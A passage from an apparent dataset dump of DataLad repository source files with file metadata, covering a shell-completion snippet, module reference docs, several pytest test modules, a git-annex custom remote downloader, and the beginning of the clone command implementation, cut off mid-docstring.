<(datalad shell-completion)\\n#\\n# in your bash or zsh session.\\n\\nif [ \\\"${ZSH_VERSION:-}\\\" != \\\"\\\" ]; then\\n autoload -U compinit && compinit\\n autoload -U bashcompinit && bashcompinit\\nfi\\n\\n_python_argcomplete() {\\n local IFS='\\u000b'\\n COMPREPLY=( $(IFS=\\\"$IFS\\\" COMP_LINE=\\\"$COMP_LINE\\\" COMP_POINT=\\\"$COMP_POINT\\\" _ARGCOMPLETE_COMP_WORDBREAKS=\\\"$COMP_WORDBREAKS\\\" _ARGCOMPLETE=1 \\\"$1\\\" 8>&1 9>&2 1>/dev/null 2>/dev/null) )\\n if [[ $? != 0 ]]; then\\n unset COMPREPLY\\n fi\\n}\\n\\ncomplete -o nospace -o default -F _python_argcomplete \\\"datalad\\\"\\n\\\"\\\"\\\"\\n yield get_status_dict(\\n action='shell_completion',\\n status='ok',\\n content=content\\n )\\n\\n @staticmethod\\n def custom_result_renderer(res, **kwargs):\\n from datalad.ui import ui\\n ui.message(res['content'])\\n\"\n },\n {\n \"alpha_fraction\": 0.6380367875099182,\n \"alphanum_fraction\": 0.6399539709091187,\n \"avg_line_length\": 16.045751571655273,\n \"blob_id\": \"4030e793697bdb68cf46e1792e031384ff6bde53\",\n \"content_id\": \"180f7f8f15a6ae5c8452093c4e4c0a5f3c34e8c1\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 2608,\n \"license_type\": \"permissive\",\n \"max_line_length\": 77,\n \"num_lines\": 153,\n \"path\": \"/docs/source/modref.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_modref:\\n\\n***********************\\nPython module reference\\n***********************\\n\\nThis module reference extends the manual with a comprehensive overview of the\\navailable functionality built into datalad. Each module in the package is\\ndocumented by a general summary of its purpose and the list of classes and\\nfunctions it provides.\\n\\n\\nHigh-level user interface\\n=========================\\n\\nDataset operations\\n------------------\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n api.Dataset\\n api.create\\n api.create_sibling\\n api.create_sibling_github\\n api.create_sibling_gitlab\\n api.create_sibling_gogs\\n api.create_sibling_gitea\\n api.create_sibling_gin\\n api.create_sibling_ria\\n api.drop\\n api.get\\n api.install\\n api.push\\n api.remove\\n api.save\\n api.status\\n api.update\\n api.unlock\\n\\n\\nReproducible execution\\n----------------------\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n api.run\\n api.rerun\\n api.run_procedure\\n\\n\\nPlumbing commands\\n-----------------\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n api.clean\\n api.clone\\n api.copy_file\\n api.create_test_dataset\\n api.diff\\n api.download_url\\n api.foreach_dataset\\n api.siblings\\n api.sshrun\\n api.subdatasets\\n\\nMiscellaneous commands\\n----------------------\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n api.add_archive_content\\n api.add_readme\\n api.addurls\\n api.check_dates\\n api.configuration\\n api.export_archive\\n api.export_archive_ora\\n api.export_to_figshare\\n api.no_annex\\n api.shell_completion\\n api.wtf\\n\\nSupport functionality\\n=====================\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n cmd\\n consts\\n log\\n utils\\n version\\n support.gitrepo\\n support.annexrepo\\n support.archives\\n support.extensions\\n customremotes.base\\n customremotes.archives\\n\\nConfiguration management\\n========================\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n config\\n\\nTest infrastructure\\n===================\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n tests.utils_pytest\\n tests.utils_testrepos\\n tests.heavyoutput\\n\\nCommand interface\\n=================\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n interface.base\\n\\nCommand line interface infrastructure\\n=====================================\\n\\n.. currentmodule:: datalad\\n.. autosummary::\\n :toctree: generated\\n\\n cli.exec\\n cli.main\\n cli.parser\\n cli.renderer\\n\"\n },\n {\n \"alpha_fraction\": 0.5940911769866943,\n \"alphanum_fraction\": 0.6008349657058716,\n \"avg_line_length\": 24.950000762939453,\n \"blob_id\": \"5fa06e9c058b5492848874935226e3e6c68ee9ec\",\n \"content_id\": \"11fa31db26b442b8b59798e825cc717fff3bcaf0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3114,\n \"license_type\": \"permissive\",\n \"max_line_length\": 92,\n \"num_lines\": 120,\n \"path\": \"/datalad/cli/tests/test_formatters.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"\\\"\\\"\\\"\\n\\nimport importlib.util\\nfrom io import StringIO as SIO\\nfrom pathlib import Path\\n\\nimport pytest\\n\\nfrom datalad.tests.utils_pytest import (\\n SkipTest,\\n assert_in,\\n assert_not_in,\\n ok_,\\n ok_startswith,\\n)\\n\\nfile_path = \\\\\\n Path(__file__).parents[3] / '_datalad_build_support' / 'formatters.py'\\nif not file_path.exists():\\n raise SkipTest(f'Cannot find {file_path}')\\nspec = importlib.util.spec_from_file_location('formatters', file_path)\\nfmt = importlib.util.module_from_spec(spec)\\nspec.loader.exec_module(fmt)\\n\\nfrom ..parser import setup_parser\\n\\ndemo_example = \\\"\\\"\\\"\\n#!/bin/sh\\n\\nset -e\\nset -u\\n\\n# BOILERPLATE\\n\\nHOME=IS_MY_CASTLE\\n\\n#% EXAMPLE START\\n#\\n# A simple start (on the command line)\\n# ====================================\\n#\\n# Lorem ipsum\\n#%\\n\\ndatalad install http://the.world.com\\n\\n#%\\n# Epilog -- with multiline rubish sdoifpwjefw\\n# vsdokvpsokdvpsdkv spdokvpskdvpoksd\\n# pfdsvja329u0fjpdsv sdpf9p93qk\\n#%\\n\\ndatalad imagine --too \\\\\\\\\\n --much \\\\\\\\\\n --too say \\\\\\\\\\n yes=no\\n\\ndatalad shameful-command #% SKIP\\n#%\\n# The result is not comprehensible.\\n#%\\n\\n#% EXAMPLE END\\n\\n# define shunit test cases below, or just anything desired\\n\\\"\\\"\\\"\\n\\n\\ndef test_cmdline_example_to_rst():\\n # don't puke on nothing\\n out = fmt.cmdline_example_to_rst(SIO(''))\\n out.seek(0)\\n ok_startswith(out.read(), '.. AUTO-GENERATED')\\n out = fmt.cmdline_example_to_rst(SIO(''), ref='dummy')\\n out.seek(0)\\n assert_in('.. dummy:', out.read())\\n # full scale test\\n out = fmt.cmdline_example_to_rst(\\n SIO(demo_example), ref='mydemo')\\n out.seek(0)\\n out_text = out.read()\\n assert_in('.. code-block:: sh', out_text)\\n assert_not_in('shame', out_text) # no SKIP'ed\\n assert_not_in('#', out_text) # no comments\\n\\n\\ndef test_parser_access():\\n parsers = setup_parser(['datalad'], return_subparsers=True)\\n # we have a bunch\\n ok_(len(parsers) > 3)\\n assert_in('install', parsers.keys())\\n\\n\\ndef test_manpage_formatter():\\n addonsections = {'mytest': \\\"uniquedummystring\\\"}\\n\\n parsers = setup_parser(['datalad'], return_subparsers=True)\\n for p in parsers:\\n mp = fmt.ManPageFormatter(\\n p, ext_sections=addonsections).format_man_page(parsers[p])\\n for section in ('SYNOPSIS', 'NAME', 'OPTIONS', 'MYTEST'):\\n assert_in('.SH {0}'.format(section), mp)\\n assert_in('uniquedummystring', mp)\\n\\n\\ndef test_rstmanpage_formatter():\\n parsers = setup_parser(['datalad'], return_subparsers=True)\\n for p in parsers:\\n mp = fmt.RSTManPageFormatter(p).format_man_page(parsers[p])\\n for section in ('Synopsis', 'Description', 'Options'):\\n assert_in('\\\\n{0}'.format(section), mp)\\n assert_in('{0}\\\\n{1}'.format(p, '=' * len(p)), mp)\\n\"\n },\n {\n \"alpha_fraction\": 0.5698767900466919,\n \"alphanum_fraction\": 0.5844682455062866,\n \"avg_line_length\": 39.182411193847656,\n \"blob_id\": \"37a25baf7294f73682e037dd459a3a86f1761603\",\n \"content_id\": \"cc1222427b8f39a8909135f09391e96ccc51e78c\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 12336,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 307,\n \"path\": \"/datalad/tests/test_utils_cached_dataset.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"Testing cached test dataset utils\\\"\\\"\\\"\\n\\nfrom unittest.mock import patch\\n\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.gitrepo import GitRepo\\nfrom datalad.tests.utils_cached_dataset import (\\n cached_dataset,\\n cached_url,\\n get_cached_dataset,\\n url2filename,\\n)\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_REMOTE,\\n assert_equal,\\n assert_false,\\n assert_in,\\n assert_is,\\n assert_is_instance,\\n assert_not_equal,\\n assert_not_in,\\n assert_raises,\\n assert_result_count,\\n assert_true,\\n skip_if_no_network,\\n with_tempfile,\\n)\\nfrom datalad.utils import (\\n Path,\\n ensure_list,\\n opj,\\n)\\n\\nCACHE_PATCH_STR = \\\"datalad.tests.utils_cached_dataset.DATALAD_TESTS_CACHE\\\"\\nCLONE_PATCH_STR = \\\"datalad.tests.utils_cached_dataset.Clone.__call__\\\"\\n\\n\\n@skip_if_no_network\\n@with_tempfile(mkdir=True)\\ndef test_get_cached_dataset(cache_dir=None):\\n\\n # patch DATALAD_TESTS_CACHE to not use the actual cache with\\n # the test testing that very cache.\\n cache_dir = Path(cache_dir)\\n\\n # store file-based values for testrepo-minimalds for readability:\\n annexed_file = opj('inannex', 'animated.gif')\\n annexed_file_key = \\\"MD5E-s144625--4c458c62b7ac8ec8e19c8ff14b2e34ad.gif\\\"\\n\\n with patch(CACHE_PATCH_STR, new=cache_dir):\\n\\n # tuples to test (url, version, keys, class):\\n test_cases = [\\n\\n # a simple testrepo\\n (\\\"https://github.com/datalad/testrepo--minimalds\\\",\\n \\\"541cf855d13c2a338ff2803d4488daf0035e568f\\\",\\n None,\\n AnnexRepo),\\n # Same repo, but request paths to be present. This should work\\n # with a subsequent call, although the first one did not already\\n # request any:\\n (\\\"https://github.com/datalad/testrepo--minimalds\\\",\\n \\\"9dd8b56cc706ab56185f2ceb75fbe9de9b606724\\\",\\n annexed_file_key,\\n AnnexRepo),\\n # Same repo again, but invalid version\\n (\\\"https://github.com/datalad/testrepo--minimalds\\\",\\n \\\"nonexistent\\\",\\n \\\"irrelevantkey\\\", # invalid version; don't even try to get the key\\n AnnexRepo),\\n # same thing with different name should be treated as a new thing:\\n (\\\"https://github.com/datalad/testrepo--minimalds\\\",\\n \\\"git-annex\\\",\\n None,\\n AnnexRepo),\\n # try a plain git repo to make sure we can deal with that:\\n # Note, that we first need a test case w/o a `key` parameter to not\\n # blow up the test when Clone is patched, resulting in a MagicMock\\n # instead of a Dataset instance within get_cached_dataset. In the\\n # second case it's already cached then, so the patched Clone is\\n # never executed.\\n (\\\"https://github.com/datalad/datalad.org\\\",\\n None,\\n None,\\n GitRepo),\\n (\\\"https://github.com/datalad/datalad.org\\\",\\n \\\"gh-pages\\\",\\n \\\"ignored-key\\\", # it's a git repo; don't even try to get a key\\n GitRepo),\\n\\n ]\\n for url, version, keys, cls in test_cases:\\n target = cache_dir / url2filename(url)\\n\\n # assuming it doesn't exist yet - patched cache dir!\\n in_cache_before = target.exists()\\n with patch(CLONE_PATCH_STR) as exec_clone:\\n try:\\n ds = get_cached_dataset(url, version, keys)\\n invalid_version = False\\n except AssertionError:\\n # should happen only if `version` wasn't found. Implies\\n # that the dataset exists in cache (although not returned\\n # due to exception)\\n assert_true(version)\\n assert_false(Dataset(target).repo.commit_exists(version))\\n # mark for later assertions (most of them should still hold\\n # true)\\n invalid_version = True\\n\\n assert_equal(exec_clone.call_count, 0 if in_cache_before else 1)\\n\\n # Patch prevents actual execution. Now do it for real. Note, that\\n # this might be necessary for content retrieval even if dataset was\\n # in cache before.\\n try:\\n ds = get_cached_dataset(url, version, keys)\\n except AssertionError:\\n # see previous call\\n assert_true(invalid_version)\\n\\n assert_is_instance(ds, Dataset)\\n assert_true(ds.is_installed())\\n assert_equal(target, ds.pathobj)\\n assert_is_instance(ds.repo, cls)\\n\\n if keys and not invalid_version and \\\\\\n AnnexRepo.is_valid_repo(ds.path):\\n # Note: it's not supposed to get that content if passed\\n # `version` wasn't available. get_cached_dataset would then\\n # raise before and not download anything only to raise\\n # afterwards.\\n here = ds.config.get(\\\"annex.uuid\\\")\\n where = ds.repo.whereis(ensure_list(keys), key=True)\\n assert_true(all(here in remotes for remotes in where))\\n\\n # version check. Note, that all `get_cached_dataset` is supposed to\\n # do, is verifying, that specified version exists - NOT check it\\n # out\\\"\\n if version and not invalid_version:\\n assert_true(ds.repo.commit_exists(version))\\n\\n # re-execution\\n with patch(CLONE_PATCH_STR) as exec_clone:\\n try:\\n ds2 = get_cached_dataset(url, version, keys)\\n except AssertionError:\\n assert_true(invalid_version)\\n exec_clone.assert_not_called()\\n # returns the same Dataset as before:\\n assert_is(ds, ds2)\\n\\n\\n@skip_if_no_network\\n@with_tempfile(mkdir=True)\\ndef test_cached_dataset(cache_dir=None):\\n\\n # patch DATALAD_TESTS_CACHE to not use the actual cache with\\n # the test testing that very cache.\\n cache_dir = Path(cache_dir)\\n ds_url = \\\"https://github.com/datalad/testrepo--minimalds\\\"\\n name_in_cache = url2filename(ds_url)\\n annexed_file = Path(\\\"inannex\\\") / \\\"animated.gif\\\"\\n\\n with patch(CACHE_PATCH_STR, new=cache_dir):\\n\\n @cached_dataset(url=ds_url)\\n def decorated_test1(ds):\\n # we get a Dataset instance\\n assert_is_instance(ds, Dataset)\\n # it's a clone in a temp. location, not within the cache\\n assert_not_in(cache_dir, ds.pathobj.parents)\\n assert_result_count(ds.siblings(), 1, type=\\\"sibling\\\",\\n name=DEFAULT_REMOTE,\\n url=(cache_dir / name_in_cache).as_posix())\\n here = ds.config.get(\\\"annex.uuid\\\")\\n origin = ds.config.get(f\\\"remote.{DEFAULT_REMOTE}.annex-uuid\\\")\\n where = ds.repo.whereis(str(annexed_file))\\n assert_not_in(here, where)\\n assert_not_in(origin, where)\\n\\n return ds.pathobj, ds.repo.pathobj\\n\\n @cached_dataset(url=ds_url, paths=str(annexed_file))\\n def decorated_test2(ds):\\n # we get a Dataset instance\\n assert_is_instance(ds, Dataset)\\n # it's a clone in a temp. location, not within the cache\\n assert_not_in(cache_dir, ds.pathobj.parents)\\n assert_result_count(ds.siblings(), 1, type=\\\"sibling\\\",\\n name=DEFAULT_REMOTE,\\n url=(cache_dir / name_in_cache).as_posix())\\n here = ds.config.get(\\\"annex.uuid\\\")\\n origin = ds.config.get(f\\\"remote.{DEFAULT_REMOTE}.annex-uuid\\\")\\n where = ds.repo.whereis(str(annexed_file))\\n assert_in(here, where)\\n assert_in(origin, where)\\n\\n return ds.pathobj, ds.repo.pathobj\\n\\n @cached_dataset(url=ds_url)\\n def decorated_test3(ds):\\n # we get a Dataset instance\\n assert_is_instance(ds, Dataset)\\n # it's a clone in a temp. location, not within the cache\\n assert_not_in(cache_dir, ds.pathobj.parents)\\n assert_result_count(ds.siblings(), 1, type=\\\"sibling\\\",\\n name=DEFAULT_REMOTE,\\n url=(cache_dir / name_in_cache).as_posix())\\n # origin is the same cached dataset, that got this content in\\n # decorated_test2 before. Should still be there. But \\\"here\\\" we\\n # didn't request it\\n here = ds.config.get(\\\"annex.uuid\\\")\\n origin = ds.config.get(f\\\"remote.{DEFAULT_REMOTE}.annex-uuid\\\")\\n where = ds.repo.whereis(str(annexed_file))\\n assert_not_in(here, where)\\n assert_in(origin, where)\\n\\n return ds.pathobj, ds.repo.pathobj\\n\\n @cached_dataset(url=ds_url,\\n version=\\\"541cf855d13c2a338ff2803d4488daf0035e568f\\\")\\n def decorated_test4(ds):\\n # we get a Dataset instance\\n assert_is_instance(ds, Dataset)\\n # it's a clone in a temp. location, not within the cache\\n assert_not_in(cache_dir, ds.pathobj.parents)\\n assert_result_count(ds.siblings(), 1, type=\\\"sibling\\\",\\n name=DEFAULT_REMOTE,\\n url=(cache_dir / name_in_cache).as_posix())\\n # origin is the same cached dataset, that got this content in\\n # decorated_test2 before. Should still be there. But \\\"here\\\" we\\n # didn't request it\\n here = ds.config.get(\\\"annex.uuid\\\")\\n origin = ds.config.get(f\\\"remote.{DEFAULT_REMOTE}.annex-uuid\\\")\\n where = ds.repo.whereis(str(annexed_file))\\n assert_not_in(here, where)\\n assert_in(origin, where)\\n\\n assert_equal(ds.repo.get_hexsha(),\\n \\\"541cf855d13c2a338ff2803d4488daf0035e568f\\\")\\n\\n return ds.pathobj, ds.repo.pathobj\\n\\n first_dspath, first_repopath = decorated_test1()\\n second_dspath, second_repopath = decorated_test2()\\n decorated_test3()\\n decorated_test4()\\n\\n # first and second are not the same, only their origin is:\\n assert_not_equal(first_dspath, second_dspath)\\n assert_not_equal(first_repopath, second_repopath)\\n\\n\\n@skip_if_no_network\\n@with_tempfile(mkdir=True)\\ndef test_cached_url(cache_dir=None):\\n\\n # patch DATALAD_TESTS_CACHE to not use the actual cache with\\n # the test testing that very cache.\\n cache_dir = Path(cache_dir)\\n\\n ds_url = \\\"https://github.com/datalad/testrepo--minimalds\\\"\\n name_in_cache = url2filename(ds_url)\\n annexed_file = Path(\\\"inannex\\\") / \\\"animated.gif\\\"\\n annexed_file_key = \\\"MD5E-s144625--4c458c62b7ac8ec8e19c8ff14b2e34ad.gif\\\"\\n\\n with patch(CACHE_PATCH_STR, new=cache_dir):\\n\\n @cached_url(url=ds_url)\\n def decorated_test1(url):\\n # we expect a file-scheme url to a cached version of `ds_url`\\n expect_origin_path = cache_dir / name_in_cache\\n assert_equal(expect_origin_path.as_uri(),\\n url)\\n origin = Dataset(expect_origin_path)\\n assert_true(origin.is_installed())\\n assert_false(origin.repo.file_has_content(str(annexed_file)))\\n\\n decorated_test1()\\n\\n @cached_url(url=ds_url, keys=annexed_file_key)\\n def decorated_test2(url):\\n # we expect a file-scheme url to a \\\"different\\\" cached version of\\n # `ds_url`\\n expect_origin_path = cache_dir / name_in_cache\\n assert_equal(expect_origin_path.as_uri(),\\n url)\\n origin = Dataset(expect_origin_path)\\n assert_true(origin.is_installed())\\n assert_true(origin.repo.file_has_content(str(annexed_file)))\\n\\n decorated_test2()\\n\\n # disable caching. Note, that in reality DATALAD_TESTS_CACHE is determined\\n # on import time of datalad.tests.fixtures based on the config\\n # \\\"datalad.tests.cache\\\". We patch the result here, not the config itself.\\n with patch(CACHE_PATCH_STR, new=None):\\n\\n @cached_url(url=ds_url)\\n def decorated_test3(url):\\n # we expect the original url, since caching is disabled\\n assert_equal(url, ds_url)\\n\\n decorated_test3()\\n\"\n },\n {\n \"alpha_fraction\": 0.5584998726844788,\n \"alphanum_fraction\": 0.5598472952842712,\n \"avg_line_length\": 35.203250885009766,\n \"blob_id\": \"946a57c1a8ade0a388e2cca3c7f89c6e76e79929\",\n \"content_id\": \"673c7695de2a41ea2ad4a5a0a613c46f9b590556\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4453,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 123,\n \"path\": \"/datalad/customremotes/datalad.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\\n# vi: set ft=python sts=4 ts=4 sw=4 et:\\n### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Universal custom remote to support anything our downloaders support\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport logging\\nfrom urllib.parse import urlparse\\n\\nfrom datalad.downloaders.providers import Providers\\nfrom datalad.support.exceptions import (\\n CapturedException,\\n TargetFileAbsent,\\n)\\nfrom datalad.utils import unique\\n\\nfrom datalad.customremotes import RemoteError\\nfrom datalad.customremotes.base import AnnexCustomRemote\\nfrom datalad.customremotes.main import main as super_main\\n\\nlgr = logging.getLogger('datalad.customremotes.datalad')\\n\\n\\nclass DataladAnnexCustomRemote(AnnexCustomRemote):\\n \\\"\\\"\\\"git-annex special-remote frontend for DataLad's downloader facility\\n \\\"\\\"\\\"\\n\\n SUPPORTED_SCHEMES = ('http', 'https', 's3', 'shub')\\n\\n def __init__(self, annex, **kwargs):\\n super().__init__(annex)\\n\\n self._providers = Providers.from_config_files()\\n\\n def transfer_retrieve(self, key, file):\\n urls = []\\n error_causes = []\\n # TODO: priorities etc depending on previous experience or settings\\n for url in self.gen_URLS(key):\\n urls.append(url)\\n try:\\n downloaded_path = self._providers.download(\\n url, path=file, overwrite=True\\n )\\n assert(downloaded_path == file)\\n return\\n except Exception as exc:\\n ce = CapturedException(exc)\\n debug_msg = f\\\"Failed to download {url} for key {key}: \\\" \\\\\\n f\\\"{ce.format_with_cause()}\\\"\\n self.message(debug_msg)\\n error_causes.append(ce.format_with_cause())\\n\\n error_msg = f\\\"Failed to download from any of {len(urls)} locations\\\"\\n if error_causes:\\n error_msg += f' {unique(error_causes)}'\\n raise RemoteError(error_msg)\\n\\n def checkurl(self, url):\\n try:\\n status = self._providers.get_status(url)\\n props = dict(filename=status.filename, url=url)\\n if status.size is not None:\\n props['size'] = status.size\\n return [props]\\n except Exception as exc:\\n ce = CapturedException(exc)\\n self.message(\\\"Failed to check url %s: %s\\\" % (url, ce))\\n return False\\n\\n def checkpresent(self, key):\\n resp = None\\n for url in self.gen_URLS(key):\\n # somewhat duplicate of CHECKURL\\n try:\\n status = self._providers.get_status(url)\\n if status: # TODO: anything specific to check???\\n return True\\n # TODO: for CHECKPRESENT-FAILURE we somehow need to figure out\\n # that we can connect to that server but that specific url is\\n # N/A, probably check the connection etc\\n except TargetFileAbsent as exc:\\n ce = CapturedException(exc)\\n self.message(\\n \\\"Target url %s file seems to be missing: %s\\\" % (url, ce))\\n if not resp:\\n # if it is already marked as UNKNOWN -- let it stay that\\n # way but if not -- we might as well say that we can no\\n # longer access it\\n return False\\n except Exception as exc:\\n ce = CapturedException(exc)\\n self.message(\\n \\\"Failed to check status of url %s: %s\\\" % (url, ce))\\n if resp is None:\\n raise RemoteError(f'Could not determine presence of key {key}')\\n else:\\n return False\\n\\n def claimurl(self, url):\\n scheme = urlparse(url).scheme\\n if scheme in self.SUPPORTED_SCHEMES:\\n return True\\n else:\\n return False\\n\\n\\ndef main():\\n \\\"\\\"\\\"cmdline entry point\\\"\\\"\\\"\\n super_main(\\n cls=DataladAnnexCustomRemote,\\n remote_name='datalad',\\n description=\\\\\\n \\\"download content from various URLs (http{,s}, s3, etc) possibly \\\"\\n \\\"requiring authentication or custom access mechanisms using \\\"\\n \\\"DataLad's downloaders\\\",\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.6517948508262634,\n \"alphanum_fraction\": 0.654358983039856,\n \"avg_line_length\": 31.5,\n \"blob_id\": \"937361a6ef38b4d4733f833b6ad72b6e0977542a\",\n \"content_id\": \"da2c6917f281745b639e44be97fb864d133134e9\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1950,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 60,\n \"path\": \"/datalad/tests/test_utils_testrepos.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Tests for test repositories\\n\\n\\\"\\\"\\\"\\nfrom datalad.tests.utils_pytest import (\\n assert_repo_status,\\n ok_,\\n ok_file_under_git,\\n skip_if_on_windows,\\n swallow_outputs,\\n with_tempfile,\\n)\\nfrom datalad.tests.utils_testrepos import (\\n BasicAnnexTestRepo,\\n BasicGitTestRepo,\\n)\\n\\n\\ndef _test_BasicAnnexTestRepo(repodir):\\n trepo = BasicAnnexTestRepo(repodir)\\n trepo.create()\\n assert_repo_status(trepo.path)\\n ok_file_under_git(trepo.path, 'test.dat')\\n ok_file_under_git(trepo.path, 'INFO.txt')\\n ok_file_under_git(trepo.path, 'test-annex.dat', annexed=True)\\n ok_(trepo.repo.file_has_content('test-annex.dat') is False)\\n with swallow_outputs():\\n trepo.repo.get('test-annex.dat')\\n ok_(trepo.repo.file_has_content('test-annex.dat'))\\n\\n\\n# Use of @with_tempfile() apparently is not friendly to test generators yet\\n# so generating two tests manually\\n# something is wrong with the implicit tempfile generation on windows\\n# a bunch of tested assumptions aren't met, and which ones depends on the\\n# windows version being tested\\n@skip_if_on_windows\\ndef test_BasicAnnexTestRepo_random_location_generated():\\n _test_BasicAnnexTestRepo(None) # without explicit path -- must be generated\\n\\n\\n@with_tempfile()\\ndef test_BasicAnnexTestRepo(path=None):\\n _test_BasicAnnexTestRepo(path)\\n\\n\\n@with_tempfile()\\ndef test_BasicGitTestRepo(path=None):\\n trepo = BasicGitTestRepo(path)\\n trepo.create()\\n assert_repo_status(trepo.path, annex=False)\\n ok_file_under_git(trepo.path, 'test.dat')\\n ok_file_under_git(trepo.path, 'INFO.txt')\\n\"\n },\n {\n \"alpha_fraction\": 0.6034973859786987,\n \"alphanum_fraction\": 0.6060706973075867,\n \"avg_line_length\": 38.54157638549805,\n \"blob_id\": \"93504a3f9991a37256703fc82bed472713448aee\",\n \"content_id\": \"52e1ad2d72bbb97496938f718f4727edc2f810d1\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 36141,\n \"license_type\": \"permissive\",\n \"max_line_length\": 117,\n \"num_lines\": 914,\n \"path\": \"/datalad/core/distributed/clone.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Plumbing command for dataset installation\\\"\\\"\\\"\\n\\n\\nimport logging\\nfrom argparse import REMAINDER\\nfrom typing import Dict\\n\\nfrom datalad.cmd import CommandError\\nfrom datalad.config import ConfigManager\\nfrom datalad.distribution.dataset import (\\n Dataset,\\n EnsureDataset,\\n datasetmethod,\\n require_dataset,\\n resolve_path,\\n)\\nfrom datalad.interface.base import (\\n Interface,\\n build_doc,\\n eval_results\\n)\\nfrom datalad.interface.common_opts import (\\n location_description,\\n reckless_opt,\\n)\\nfrom datalad.interface.results import get_status_dict\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.constraints import (\\n EnsureKeyChoice,\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.support.exceptions import CapturedException\\nfrom datalad.support.network import (\\n RI,\\n PathRI,\\n)\\nfrom datalad.support.param import Parameter\\nfrom datalad.utils import (\\n knows_annex,\\n PurePath,\\n rmtree,\\n)\\n\\nfrom .clone_utils import ( # needed because other code imports it from here\\n _check_autoenable_special_remotes,\\n _format_clone_errors,\\n _generate_candidate_clone_sources,\\n _get_remote,\\n _get_tracking_source,\\n _map_urls,\\n _test_existing_clone_target,\\n _try_clone_candidates,\\n decode_source_spec,\\n # RIA imports needed b/c datalad-next imports it from here ATM;\\n # Remove after core was released and next dropped the ria patch.\\n postclone_preannex_cfg_ria,\\n postclonecfg_ria,\\n)\\n\\n__docformat__ = 'restructuredtext'\\n\\nlgr = logging.getLogger('datalad.core.distributed.clone')\\n\\n\\n@build_doc\\nclass Clone(Interface):\\n \\\"\\\"\\\"Obtain a dataset (copy) from a URL or local directory\\n\\n The purpose of this command is to obtain a new clone (copy) of a dataset\\n and place it into a not-yet-existing or empty directory. As such `clone`\\n provides a strict subset of the functionality offered by `install`. Only 